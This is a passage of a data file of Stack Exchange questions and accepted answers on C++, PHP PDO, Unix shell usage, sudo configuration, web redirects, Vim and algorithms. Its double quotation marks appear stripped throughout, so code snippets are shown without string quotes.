 }    if (errNumber == errBoard) {        std::cout << Board space has already been marked, try agian:\\n;    }}void Screen::signalUserInput(const int &player) const{    std::cout << Player << player << please select a space to mark: ;}void Screen::welcomeMsg() const {    std::cout << Welcome to tic tac toe, player1 will be 'X' and player2 will be 'O'\\n;}void Screen::gameWinMsg(const size_t& turnCnt) const{    if (turnCnt % 2) {        std::cout << Player 1 wins the game!\\nPlay again? Y/N: ;    }    else        std::cout << Player 2 wins the game!\\nPlay again? Y/N: ;}void Screen::gameTieMsg() const{    std::cout << Tie!\\nGame over!\\nPlay again? Y/N: ;}void Screen::draw(const std::string &board) const{    std::cout <<   << board[space1] <<   << | <<   << board[space2] <<   << | <<   << board[space3] << \\n        << ___|___|___\\n         <<   << board[space4] <<   << | <<   << board[space5] <<   << | <<   << board[space6] << \\n        << ___|___|___\\n        <<   << board[space7] <<   << | <<   << board[space8] <<   << | <<   << board[space9] << \\n\\n;}Source.cpp#include Game.h#include <iostream>void pause() {    std::string pause;    std::cout << Press any key followed by enter to continue...;    std::cin >> pause;}int main() {    Game game;    game.run();    pause();}"  , "title": "Tic Tac Toe C++ follow up"  , "tags": "c++;object oriented;tic tac toe"  } 
{  "id": "_codereview.14325"  , "question": "I wrote a predicate used in a remove_if call that deletes shared_ptr's of type StemmedSentence from an vector of sentences. The predicate:class EraseSentenceIf {    ArrayStemmedSnippet * m_ass;public:    EraseSentenceIf(ArrayStemmedSnippet *ass)    : m_ass(ass) {    }    bool operator()(const std::shared_ptr<        ArrayStemmedSnippet::StemmedSentence>& s) {        std::shared_ptr<ArrayStemmedSnippet::StemmedSentence> tmp = s;        // --- set StemmedSentnce object in ArrayStemmedSnippet class        s->setParent(m_ass);        // --- if true delete this sentence)        if (s->trimStopWords()) {            tmp.reset();            return true;        }        return false;    }};The remove_if call:EraseSentenceIf esi(this);sentences.erase(    std::remove_if(        sentences.begin(), sentences.end(), esi),    sentences.end());Declaration:std::vector<shared_ptr<StemmedSentence> > sentences;The construction of the sentences objects looks like this:sentences.push_back(shared_ptr<StemmedSentence>(    new StemmedSentence(index, i - 1 )));The code seems to run fine, valgrind / gdb does not moan. I just want to get sure that I handle  the deletion (or release) of the shared_ptr in a correct way. Can somebody please confirm this? Maybe I can improve something or I overlooked an important point. Thanks for your comments!"  , "title": "Is this predicate valid to delete single shared_ptr's?"  , "tags": "c++;c++11"  , "accepted_answer": "Within the predicate you make a copy of the shared_ptr hence incrementing the reference count:    std::shared_ptr<ArrayStemmedSnippet::StemmedSentence> tmp = s;A few lines later you explicitly reset this copy (note that this does not release any memory unless it's the last living shared_ptr referring to the pointee):    // --- if true delete this sentence)    if (s->trimStopWords()) {        // NOT NECESSARY -- reference count will be decremented when tmp falls out of scope        tmp.reset();        return true;    }The actual deletion occurs when the shared_ptr residing inside the vector is destroyed (assuming it's the last remaining copy):sentences.erase(    std::remove_if(        sentences.begin(), sentences.end(), esi),    sentences.end());So, everything will work fine as it is but the tmp variable in the predicate is unnecessary."  } 
{  "id": "_unix.139955"  , "question": "I have the following problem:When I'm trying to execute ls as user abc with the following command I get an error:xyz@host:~/temp$ sudo -u abc ls[sudo] password for xyz:Sorry, user xyz is not allowed to execute '/bin/ls' as abc on host.But if I do su abc and then execute ls I have no problemCan anyone help?"  , "title": "Problem executing command as a different user with sudo -u"  , "tags": "sudo;su"  , "accepted_answer": "You should configure sudo security policy to allow user xyz exec something as user abc. Read 'man sudoers' and use visudo command to configure /etc/sudoers.For example let's allow user xyz exec /usr/bin/whoami as user abc without password. Add this string into /etc/sudoers (with visudo, don't edit /etc/sudoers directly):xyz ALL = (abc) NOPASSWD: /usr/bin/whoamiAnd now test it:xyz@host:~$ sudo -u abc /usr/bin/whoamiabc"  } 
{  "id": "_unix.371685"  , "question": "I recently installed CentOS 7.3.1611, which doesn't come with many packages, even when you add useful repos like EPEL, NUX, CERT Forensic Tools, etc.In particular, gnumeric is not included, and the latest version of gnumeric (1.12.32) won't compile unless you upgrade the dependencies outside of yum, which I wanted to avoid.Through trial and error, I found gnumeric 1.10.17 will compile, and I'm pretty it's the highest version that will.Is there a site that lists which versions of which software will compile with CentOS 7.3.1611 or, more generally, with a given OS version?I tried to be clever by Google searching: gnumeric 1.10.17 7.3.1611 centos (and several variants), and virtually all of the results were directly or indirectly from distrowatch.comI visited https://distrowatch.com/?newsid=09666 (for CentOS 7-1611, which I'm pretty sure is the same thing as 7.3.1611), but gnumeric isn't listed there. Apparently, however, there are similar distros that bundle gnumeric 1.10.17, strengthening my belief that there's a major change after that version.Since I'll have to go through the pain myself, I wouldn't creating a page on the CentOS wiki or whatever, but was wondering if someone had already done this."  , "title": "Find source code compatible with CentOS 7.3.1611"  , "tags": "centos;compiling;version"  } 
{  "id": "_webapps.62624"  , "question": "Yesterday I went to reply to a comment and was told I was temporarily blocked, I can't remember exactly what the message said but after regaining access to my account it told me my account may have been used by spammers and it told me to check my activity log.What confuses me after looking at my activity log is that the day before I got blocked I only liked 3 pictures, liked one post and commented on one post. My password is a 50 character, secure password, I have 2 step verification turned on, I don't 'like' any pages and don't click dodgy looking links so my account can't have been compromised, especially being as 2 step verification is enabled. Can someone shed some light on this for me? I know I was only 'temporarily blocked' but does anyone know how many times you can get blocked before your account is permanently blocked or deleted? I'm worried about using the service now as I don't want to get my account permanently banned or deleted."  , "title": "Why was I temporarily blocked from Facebook for liking 5 statuses?"  , "tags": "facebook"  } 
{  "id": "_unix.371443"  , "question": "Sample Log : type=SERVICE_START msg=audit(1497515461.023:2020433): pid=1 uid=0 auid=4294967295 ses=4294967295 msg=' comm=systemd-tmpfiles-clean exe=/lib/systemd/systemd hostname=? addr=? terminal=? res=success'type=SERVICE_STOP msg=audit(1497515461.023:2020434): pid=1 uid=0 auid=4294967295 ses=4294967295 msg=' comm=systemd-tmpfiles-clean exe=/lib/systemd/systemd hostname=? addr=? terminal=? res=success'What is so specific to the command systemd-tmpfiles-clean that makes it restart audit daemon?"  , "title": "Why does linux audit daemon restart periodically with the following log?"  , "tags": "services;daemon;linux audit"  } 
{  "id": "_codereview.121967"  , "question": "How can I reduce the lines I use with this code block?if ((test.contains(1.jpg) || test.contains(1.png)) && (maxP == false)){        page++;        add = 1;        if (QFile().exists(basepath + spage + .jpg)){            p_left = basepath + spage + .jpg;        }        else if(QFile().exists(basepath + spage+ .png)){            p_left = basepath + spage + .png;        }        if (QFile().exists(basepath + QString::number(page + 1) + .jpg)){            p_right = basepath + inc + .jpg;        }        else if(QFile().exists(basepath + QString::number(page + 1) + .png)){            p_right = basepath + inc + .png;        }    }    else if ((test.contains(1.jpg) || test.contains(1.png)) && (maxP == true)){        gpage = max;        add = 1;        if (QFile().exists(basepath + smax + .jpg)){            p_left = basepath + smax + .jpg;        }        else if(QFile().exists(basepath + smax + .png)){            p_left = basepath + smax + .png;        }        if (QFile().exists(basepath + QString::number(page + 1) + .jpg)){            p_right = basepath + sinc + .jpg;        }        else if(QFile().exists(basepath + QString::number(page + 1) + .png)){            p_right = basepath + sinc + .png;        }    }"  , "title": "Conditionally set strings if files exist"  , "tags": "c++;qt"  , "accepted_answer": "I see a number of things that may help you improve your code.Use named constantsThere are a number of constant strings which are used repeatedly.  If they're used more than once, it's probably a sign that you should use named constants instead.constexpr static char[] JPG_EXT{.jpg};constexpr static char[] PNG_EXT{.png};Consolidate tests in compound if statementsRight now the code is basically this:if ((test.contains(1.jpg) || test.contains(1.png)) && (maxP == false)){    // do things} else if ((test.contains(1.jpg) || test.contains(1.png)) && (maxP == true)){    // do other things}This can be simplified like this:if ((test.contains(1.jpg) || test.contains(1.png)) {    if (maxP) {        // do other things    } else {  // maxP must be false        // do things    }}Consolidate code where only the data changesThe code currently has repeated patterns like this:if (QFile().exists(basepath + smax + .jpg)){    p_left = basepath + smax + .jpg;}It then repeats, but with slightly different data.  That suggests further consolidation:if ((test.contains(1.jpg) || test.contains(1.png)) {    QString leftbase, rightbase;    if (maxP) {        gpage = max;        leftbase = basepath + smax;        rightbase = basepath + sinc;    } else {        page++;        leftbase = basepath + spage;        rightbase = basepath + inc;    }    add = 1;    if (QFile(leftbase + JPG_EXT).exists()) {        p_left = leftbase + JPG_EXT;    } else if (QFile(leftbase + PNG_EXT).exists()) {        p_left = leftbase + PNG_EXT;    }    if(QFile(basepath + QString::number(page + 1) + JPG_EXT).exists()){        p_right = rightbase + JPG_EXT;    } else if(QFile(basepath + QString::number(page + 1) + PNG_EXT).exists(){        p_right = rightbase + PNG_EXT;    }}Use a function for repeated actionsIf you find yourself writing similar code multiple times, it might be a sign that you could use a function.  In this code, I'd write this:void setIfJpgOrPngExists(const QString& querybase, const QString& answerbase,         QString &target) {    if (QFile(querybase + JPG_EXT).exists()) {        target = answerbase + JPG_EXT;    } else if (QFile(querybase + PNG_EXT).exists()) {        target = answerbase + PNG_EXT;    }}if ((test.contains(1.jpg) || test.contains(1.png)) {    QString leftbase, rightbase;    if (maxP) {        gpage = max;        leftbase = basepath + smax;        rightbase = basepath + sinc;    } else {        page++;        leftbase = basepath + spage;        rightbase = basepath + inc;    }    add = 1;    setIfJpgOrPngExists(leftbase, leftbase, p_left);    setIfJpgOrPngExists(basepath + QString::number(page + 1), rightbase, p_right);}"  } 
{  "id": "_unix.275422"  , "question": "How can I use sed to substitute a space with an _ only when it occurs in a text file after the string title= and between  For example (lines in a text file):title=This is the title of my book img=scr  </header><!-- .entry-header -->title=Today is a beautiful day img=scr  </header><!-- .entrrrrkkky-header -->Desired modified text file after sed:title=This_is_the_title_of_my_book img=scr  </header><!-- .entry-header -->title=Today_is_a_beautiful_day img=scr  </header><!-- .entrrrrkkky-header -->Basically, the space  would only be substituted for a _ when it occurs between the   after the string title=The name of the text file is arbitrary - say file.txt"  , "title": "Using sed to replace spaces in text files with _ only when between   after specific string"  , "tags": "text processing;sed"  } 
{  "id": "_unix.38728"  , "question": "I installed monodevelop from the repositories because I want to try the mono-D plugin, but when I go to the Gallery in Add-in Manager, it says No add-ins foundI tried adding http://mono-d.alexanderbothe.com/ as a repository, but it requires monodevelop version 2.95 and the one in the repository is version 2.6:The selected add-ins can't be installed because there are dependency conflictsThe package 'Ide v2.9.5' could not be found in any repository"  , "title": "how to install monodevelop with d language add-in on Mint 12"  , "tags": "linux mint;mono"  , "accepted_answer": "It looks like monodevelop 2.95 is a development release, so won't find it in the repository. Monodevelop 3.0 has just been released (May 14, 2012). I think this is the version you need. You can download it from MonoDevelop web page. No prebuilt package is available for Ubuntu/Mint right now, so you best option is to build it from the source (using the previous version of mono presumably). If you are new to building packages from source, it is actually a straightforward process (once you have all the build tools/libraries installed):downloaduntar./configuremakesudo make installAlternatively you can wait for a prebuilt package."  } 
{  "id": "_unix.97094"  , "question": "I am using gnome-terminal in LXDE. When I have several gnome-terminal windows open, after some time the cursor in the inactive window starts to blink as well, as if the inactive window was actually active. This only happens with gnome-terminal. Other terminal emulators such as LXTerminal work fine.see video of the problem here: http://youtu.be/nRBehoJ1L7YI am aware of this bug. But this should have been fixed in my version of xserver-xorg-core 1.12.4-6. I am using Debian Wheezy and gnome-terminal 3.4.1.1-2 I am wondering if this could be caused because I am using gnome-terminal on LXDE. Could there be some gnome component missing? I have no way of testing if the same problem exists on Gnome."  , "title": "gnome-terminal: cursor blinks in inactive window"  , "tags": "debian;gnome terminal;lxde"  , "accepted_answer": "You can switch to terminator.It is an awesome full featured terminal emulator. It is a bit ugly (in my opinion) when you install, but can easily customize it and even made it look like gnome-terminal."  } 
{  "id": "_cs.41925"  , "question": "Consider the following adaptation of the traveling salesman problem:Given a complete, undirected graph $G$ with nonnegative edge weights,  color each vertex either red or blue. Find the shortest path that  visits all vertices exactly once (does not need to return to starting  vertex), but does not visit vertices of the same color more than 3  times in a row (i.e. the path$$red \\to blue \\to blue \\to blue \\to red$$is valid but$$red \\to blue \\to blue \\to blue \\to blue$$is not. Assume that there are the same number of red and blue  vertices.I'm trying to come up with an algorithm to at least approximate a shortest path given this constraint. My initial thought was the following (besides simply trying all $|V|!$ different paths):Greedy Approach: Choose a starting vertex $v_0$ and at each step, simply choose the vertex $v_1$ that minimizes $d(v_0, v_1)$. However, keep a record of the colors of $v_{i}$, $v_{i-1}$, and $v_{i-2}$ at each step, and if the optimal choice of the next vertex $v_{i+1}$ violates the color constraint, choose the next best vertex.The only problem I see with this is that you can 'run out' of vertices of a given color. That is, you could reach a point where there are more than $3$ vertices remaining, but they are all of the same color. This would make it impossible to complete the path.My Question: Does anyone have any suggestions on algorithms to try? Maybe a modification to my suggested greedy approach to make it complete, or another paradigm all together?(I know that this problem is $NP$-complete - that's why I'm seeking an approximation algorithm.)"  , "title": "Seeking Efficient Approximation Algorithm for Adaptation of TSP"  , "tags": "algorithms;np complete;approximation;traveling salesman"  } 
{  "id": "_codereview.29362"  , "question": "There are many PHP PDO classes out there, agreed. However I find they do not allow for flexibility. So I created one that helps reduce development time as little as it may be but it does the job (maybe apart from the disconnect part, but it allows to trace whether database is connected via $database->isConnected). Can you please point out any flaws and any possible improvements?<?php     class db    {        public $isConnected;        protected $datab;        public function __construct($username, $password, $host, $dbname, $options=array()){            $this->isConnected = true;            try {                 $this->datab = new PDO(mysql:host={$host};dbname={$dbname};charset=utf8, $username, $password, $options);                 $this->datab->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);                 $this->datab->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);            }             catch(PDOException $e) {                 $this->isConnected = false;                throw new Exception($e->getMessage());            }        }        public function Disconnect(){            $this->datab = null;            $this->isConnected = false;        }        public function getRow($query, $params=array()){            try{                 $stmt = $this->datab->prepare($query);                 $stmt->execute($params);                return $stmt->fetch();                  }catch(PDOException $e){                throw new Exception($e->getMessage());            }        }        public function getRows($query, $params=array()){            try{                 $stmt = $this->datab->prepare($query);                 $stmt->execute($params);                return $stmt->fetchAll();                       }catch(PDOException $e){                throw new Exception($e->getMessage());            }               }        public function insertRow($query, $params){            try{                 $stmt = $this->datab->prepare($query);                 $stmt->execute($params);                }catch(PDOException $e){                throw new Exception($e->getMessage());            }                   }        public function updateRow($query, $params){            return $this->insertRow($query, $params);        }        public function deleteRow($query, $params){            return $this->insertRow($query, $params);        }    }    //USAGE     /*              Connecting to DataBase        $database = new db(root, , localhost, database, array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'));        Getting row        $getrow = $database->getRow(SELECT email, username FROM users WHERE username =?, array(yusaf));        Getting multiple rows        $getrows = $database->getRows(SELECT id, username FROM users);        inserting a row        $insertrow = $database ->insertRow(INSERT INTO users (username, email) VALUES (?, ?), array(yusaf, yusaf@email.com));        updating existing row                   $updaterow = $database->updateRow(UPDATE users SET username = ?, email = ? WHERE id = ?, array(yusafk, yusafk@email.com, 1));        delete a row        $deleterow = $database->deleteRow(DELETE FROM users WHERE id = ?, array(1));        disconnecting from database        $database->Disconnect();        checking if database is connected        if($database->isConnected){        echo you are connected to the database;        }else{        echo you are not connected to the database;        }    */"  , "title": "Class for reducing development time"  , "tags": "php;object oriented;mysql;pdo"  , "accepted_answer": "Personally, I must say that close to all PDO derived/based classes I've seen so far suffer from the same problem: They are, essentially, completely pointless.Let me be clear: PDO offers a clear, easy to maintain and neat interface on its own, wrapping it in a custom class to better suit the needs of a particular project is essentially taking a decent OO tool, and altering it so that you can't reuse it as easily in other projects. If you were to write a wrapper around MySQLi, I could understand the reasoning, but PDO? No, I'm really struggeling to understand the logic behind that unless:You were to write a table mapper class to go with it, that establishes a connection between the tables you query, and the data models into which you store the data. Not unlike how Zend\\Db works.MySQL is, as you well know, not as flexible as PHP is in terms of data-types. If you are going to write a DB abstraction layer, common sense dictates that layer reflects that: it should use casts, constants, filters as well as prepared statements to reflect that.Most mature code out there also offerst an API that doesn't require you to write your own queries:$query = $db->select('table')            ->fields(array('user', 'role', 'last_active')            ->where('hash = ?', $pwdHash);These abstraction layers often (if not always) offer another benefit, they build the queries for you, based on what DB you're connection to. If you're using mysql, they'll build a MySQL query, if you happen to switch to PostgreSQL, they'll churn out pg queries, without the need to rewrite thousands of queries. If you want to persist and write your own abstraction layer, make sure you offer something similar, too. If you don't, you're back to square one: embarking on a labour intensive, pointless adventure that won't be worth it.An alternative approach is to extend the PDO class. Again, this has been done before and is, in theory, perfectly OK. Although, again this might be personal, it does violate one principle which is upheld by many devs I know: Don't extend, or attempt to change an object you don't own. PDO is a core object,so it's pretty clear you don't own it.Suppose you were to write something like:class MyDO extends PDO{    public function createProcedure(array $arguments, $body)    {        //create SP on MySQL server, and return    }}And lets assume that, after some serious debugging, and testing, you actually got this working. Great! But then what if, some time in the future, PDO got its own createProcedure method? it'll probably outperform yours, and might be more powerful. That, in itself isn't a problem, but suppose it's signature were different, too:public function createProcedure (stdClass $arguments){}That would mean you either have to ditch your method, and refactor your entire code-base to sing to the tune of PDO's latest and greatest hit, or you'd have to alter your method to:public function createProcedure(array $arguments, $body){    $arguments = (object) $arguments;//create stdClass    //parse $body and:    $arguments->declare = $body[0];    $arguments->loops = (object) array('loop1' => $body[1], 'loop2' => $body[2]);    $arguments->body = (object) array(        'main' => $body[3],        'loop1_body' => $body[4],        'loop2_body' => $body[5]    );    return parent::createProcedure($arguments);}That would mean that, for all code you wrote, you're actually having to call 2 methods, turning your once so clever createProcedure method into dead weight. So what, you might say? Well, don't think you're out of the woods just yet, because This alternative method above is illegal, it can't be written, it can't work, it shouldn't work, it's just all shades of wrong, here's why:The Liskov principle states that a child (the class extending PDO) may not alter the signature of inherited methods if those alterations constitute a breach of contract, meaning the expected types (type-hints) may not be stricter than or different to the types defined in the parent (ie: array vs stdClass is not allowed). Additional arguments are allowed, provided they're optional.If the PDO method itself takes but a single argument of the type stdClass, then your child class may only add optional arguments, and should either drop the type-hint, or uphold it (ie: hint at stdClass, which would break all existing code), or don't hint at all (which is as error-prone as it gets).What's more, after a couple of months, people might use third party code (frameworks), that rely on the createProcedure method, and pass it an instance of stdClass. You'll have to change your method again, to the vague, and error prone signature:public function createProcedure($arrOrObject, $body = null){    if ($arrOrObject instanceof stdClass)    {        return parent::createProcedure($arrOrObject);    }    if ($body === null)    {        //What now??    }    //parse body}If $body is null, and $arrOrObject is an array, the user might have structured the $arrOrObject array in the same way as PDO would like to see the object structured, in which case json_decode(json_encode($arrOrObject)); would do the trick (not casting, because a cast doesn't cast recursive), but it's just as likely that the code calling your method contains a bug. What to do? convert to an object, and try-catch, with the extra overhead that might cause?This leads me to the last, and for now biggest omission:When using a wrapper object, it's generally a good idea to implement a (slow) magic __call method, that checks if a method call was meant for the wrapper object, or if it was meant for the wrapped object.Using your object, I might want to set another attribute on the PDO extension, but since you failed to implement the setAttribute method, I can't change the charset, nor can I change how PDO deals with NULL values. Which can only be considered to be a glaring omission. Especially since you expect the user to pass bare PDO constants to the constructor. Basically, the least you should do is add:public function __call($method, array $arguments ){    return call_user_func_array($this->datab, $arguments);}This way, you semi-expose the actual wrapped object to the user, in the sense that, methods you haven't implemented can still be used. New methods that might be implemented in the future will automatically be accessible, too.What's more, you'll be able to validate/check the arguments and log which methods are used by the users, so that you could fine-tune your class to better reflect the way it is being used.Recap:Building an abstraction class on a user-friendly raw-API like PDO is, IMHO, like a broken pencil: PointlessExtending PDO means you don't have to create pass-through methods that call the wrapped API (like creating a prepare method), but it does mean there is a chance you'll have to refactor your code whenever PDO changesIf you still feel like using a wrapper object, either consider wrapping it around something less well known, but in some respects better (mysqli_* is what I'm hinting at), but implement the magic __call and, if required __callStatic methods.Again, if you're going to procede: work on an entire abstraction layer, that allows for users to map tables to data models, and take it from there. Ensure that those data-models can be used easily to build HTML forms, for example in order for those forms to be linked to the DB in the blink of an eye, bot don't forget about sanitizing your data, of course.On the code itself:There is one thing you have to fix about your code, above all else, and that's your constructor:I might choose to construct an object like so:$database = new db(user, pwd, host, mydb,             array(PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_OBJ));Setting the default fetch-mode to fetch objects, and the new instance of PDO will be passed the correct attribute array. Sadly, right after constructing that PDO object, you're deciding that the default fetch-mode should've been PDO::FETCH_ASSOC, because 2 lines further down:$this->datab->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);I'd hate to use that code. Also, this just doesn't add up:try{     $this->datab = new PDO(mysql:host={$host};dbname={$dbname};charset=utf8, $username, $password, $options);     $this->datab->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);     $this->datab->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);} catch(PDOException $e){     $this->isConnected = false;    throw new Exception($e->getMessage());}Try-catch-throw? Why? The connection failed, the PDOException tells me why, that's what I want to know, why catch that exception, and throw a new, more general one? What if I passed PDO::ATTR_ERRMODE => PDO::ERRMODE_SILENT to the constructor, and the connection failed? You're probably better of replacing it with this:$this->datab = new PDO($connString, array(    PDO::ATTR_ERRMODE            => PDO::ERRMODE_EXCEPTION,    PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,    PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8'//careful with this one, though));foreach($options as $attr => $value){    $this->datab->setAttribute($attr, $value);}And let the exception go. If the connection to the DB fails, the script can't do what it's supposed to do anyway. The PDOExceptions are usefull in a scenario where you're using transactions. If 999 queries succeeded, but the 1000th query failed, rather than inserting partial data, catching the exception, and rolling back the transaction is what you do, but catching an exception to rethrow it again is just silly.But, again, I'm not going to stop you from doing what you want, perhaps you can prove me wrong and actually make something great. But in order to do that, you must know what's out there already:As always start with the theory, wiki's a great place to startthe ORM wikiThe ActiveRecord Pattern wikidoctrineAnd all of its projectsNot in the least, its ORMPropel, haven't used it, but N.B. recommended itPHPActiveRecordZend\\Db\\Adapter and all of the components in the Zend\\Db namespaceEven the old Zend_Db has something going for it, still"  } 
{  "id": "_unix.335584"  , "question": "I am trying to rename a folder with files which contain a datestamp like this: string_DD-MM-YYYY_hhmm.pdfto this format:string_YYYY-MM-DD_hhmm.pdfso that they sort by date when sorted by filename.Example: PB_KAZ_KtoNr_0463266665_01-02-2014_0341.pdf should become PB_KAZ_KtoNr_0463266665_2014-02-01_0341.pdf. I found this similar question but it's regarding DDMMYYYY format instead of DD-MM-YYYY and the answeres are way to complicated for my situation. As the string always is the same in content and length (24 characters) a simple command, that splits and reassembles the string by positions would be sufficient. Thanks in advance!"  , "title": "How to batch rename files and convert datestamp from DD-MM-YYYY to YYYY-MM-DD?"  , "tags": "bash;shell script;ubuntu;rename;timestamps"  , "accepted_answer": "With Perls rename (standalone command):rename -n 's/(.*)_(.*)-(.*)-(.*)_(.*.pdf)/$1_$4-$3-$2_$5/' *.pdfIf everything looks fine remove -n."  } 
{  "id": "_unix.23988"  , "question": "I need to create an md5 hash of every directory and file inside of one main directory. The only thing that is keeping me from success is figuring out a way around files with a space in the path.I am using find for the recursive listing (I have read that find is the best way of doing this):c5-26-1# find /root/newdir/root/newdir/root/newdir/1/root/newdir/2/root/newdir/3/root/newdir/4/root/newdir/5/root/newdir/newdir2/root/newdir/newdir2/1/root/newdir/newdir2/2/root/newdir/new/root/newdir/dir/root/newdir/new dirWhen I try this with md5 I get two different outcomes, neither of which work:c5-26-1# md5 $(find /root/newdir) # same outcome using for loopMD5 (/root/newdir) = bc79a580f6c932937f6fcd454747db72MD5 (/root/newdir/1) = 94ca98295946310ce88e185ea57486d5MD5 (/root/newdir/2) = 8432051f64459be5a5e73dc2abd91795MD5 (/root/newdir/3) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/4) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/5) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/newdir2) = 722165901468b9596dbdddfe118759fbMD5 (/root/newdir/newdir2/1) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/newdir2/2) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/new) = 89d042c5f9d6ba485a654b543685ea86MD5 (/root/newdir/dir) = 148538718feba14839f5d1072854c5f4MD5 (/root/newdir/new) = 89d042c5f9d6ba485a654b543685ea86MD5 (dir) = 148538718feba14839f5d1072854c5f4or c5-26-1# find -X /root/newdir | xargs md5find: /root/newdir/new dir: illegal pathMD5 (/root/newdir) = bc79a580f6c932937f6fcd454747db72MD5 (/root/newdir/1) = 94ca98295946310ce88e185ea57486d5MD5 (/root/newdir/2) = 8432051f64459be5a5e73dc2abd91795MD5 (/root/newdir/3) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/4) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/5) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/newdir2) = 722165901468b9596dbdddfe118759fbMD5 (/root/newdir/newdir2/1) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/newdir2/2) = d41d8cd98f00b204e9800998ecf8427eMD5 (/root/newdir/new) = 89d042c5f9d6ba485a654b543685ea86MD5 (/root/newdir/dir) = 148538718feba14839f5d1072854c5f4How do I account for directories with spaces?"  , "title": "create md5 hash from a recursive file listing when some paths have spaces"  , "tags": "find;filenames;xargs;recursive"  , "accepted_answer": "xargs is rarely useful, because it expects input quoted in a highly peculiar way that no common tool produces. And as you've noticed mycommand $(find ) is no good, because it first concatenates all the file names and then splits at whitespace.Use the -exec primary of find to make it execute md5 with no intervening shell that would require quoting. If your implementation of find is reasonably current, then you can make it do what xargs is famous for, which is to invoke the md5 program once per batch of arguments.find /root/newdir -type f -exec md5 {} +If your find doesn't support -exec  {} +, replace the + by \\;. This makes find invoke md5 for each file in turn. It's slightly slower, but available everywhere."  } 
{  "id": "_softwareengineering.313312"  , "question": "So master-slave replication is great, but it leaves the master as a single-point of failure. What is the strategy to solve this problem, if there is one?I'm looking for the computer science theory behind it, not for a product that magically supports it.Ok, the slave could become the new master, but what's the theory behind this fail-over transition? How it is done?"  , "title": "In a master-slave replication mechanism, how do you avoid / cope with the fact that the master is a single point of failure? Is there a solution?"  , "tags": "database;data replication"  } 
{  "id": "_webmaster.88324"  , "question": "I want to move/create some sub-domains like so:example.com moves to apps.example.comcommunity.example.com moves to example.comThe apps sub-domain is new. The existing community sub-domainwill no longer be needed.I've already created the apps subdomain and moved the site that was at example.com to apps.example.com.I've also moved the site community subdomain so it now resides at example.com.Now I just need to figure out the best way to handle the redirects. For some reason I'm just having a tough time wrapping my mind around this and hoping for some help :)To sum up:Redirect original example.com posts to apps.example.comRedirect original community.example.com posts to example.comAnd, of course, ensure that all new posts on either site are going to be found in the right place!These are WordPress sites - and there are plugins but not sure if that's best.What would you all recommend?"  , "title": "301 redirecting when swapping subdomains"  , "tags": "redirects;301 redirect"  } 
{  "id": "_vi.10929"  , "question": "I've tried thisau BufWinEnter * if &l:buftype != 'nofile' | map <buffer> <CR> <Plug>(easymotion-prefix) | endifbut somehow this isn't working (easymotion isn't working). While this worksau BufWinEnter * map <buffer> <CR> <Plug>(easymotion-prefix)"  , "title": "How to add buffer-local mapping only if not in command-line-window"  , "tags": "key bindings;autocmd"  , "accepted_answer": "I'm not sure, but I think that | endif is in the {rhs} of the mapping command :map. To remove it, you could wrap the mapping in a chain and execute it, maybe like this:au BufWinEnter * if &l:buftype != 'nofile' | exe map <buffer> \\<CR> \\<Plug>(easymotion-prefix) | endif"  } 
{  "id": "_reverseengineering.3164"  , "question": "I have bought a USB frame grabber (Hauppauge WinTV HVR 1900) for a personal research project. A SDK exists, but unfortunately the company does not seem too keen on distributing it. I have to extract frames from a video stream in my software, and although it works perfectly with my webcam stream, it does not work with the frame grabber (that works perfectly with the bundled soft).The frame grabber has an integrated MPEG-2 encoder, so the output stream should be MPEG-2, but since it does not work, I guess it is not standard. VLC is able to read the stream, though. Since it seems I will have to reverse engineer to get my soft to read the output stream, and as I have never done that kind of thing, could someone please give me a hint on how to proceed about that? I mostly have experience with the python language."  , "title": "Frame grabber reverse engineering"  , "tags": "hardware"  } 
{  "id": "_webmaster.17490"  , "question": "I am trying to setup a website for this design studio and need to put in a widget which would allow people to Like, +1, follow on twitter etc. I have been writing code for some years now, but I am relatively new to web development. I was wondering if a widget or some online tool exists that would let me generate html/script code for this."  , "title": "widget / template code for +1, Like, Follow on Twitter etc"  , "tags": "facebook;twitter;social networks;google plus one"  , "accepted_answer": "Addthis is what you're looking for."  } 
{  "id": "_codereview.23911"  , "question": "Is this code correct?This code was adapted from this alphabeta pseudocode.  AlphaBeta search is often mentioned but getting the code 100% correct is tricky.IGame is an interface with two methods: getScore() - evaluates the current game state from the viewpoint of the AI  generateMoves() - creates possible moves from the current game state.class Search{    Move bestMove;    Move findBestMove(int ply, IGame g)    {        bestMove = null;        alpha_beta(ply, g, Integer.MINIMUM, Integer.MAXIMUM);        return bestMove;    }    int alpha_beta(int depth, IGame g, int alpha, int beta)    {        if (depth == 0 || g.isGameFinished()) return g.getScore();        Move[] gameMove = g.generateMoves();        for (int i = 0; i < gameMove.length; i++)        {            g.execute(gameMove[i]);            int score = -alpha_beta(depth - 1, -beta, -alpha);            g.undo(gameMove[i]);            if (alpha < score)            {                alpha = score;                bestMove = gameMove[i];            }            if (beta <= alpha) return alpha;        }        return alpha;    } }"  , "title": "Java alphabeta search"  , "tags": "java;search;ai"  } 
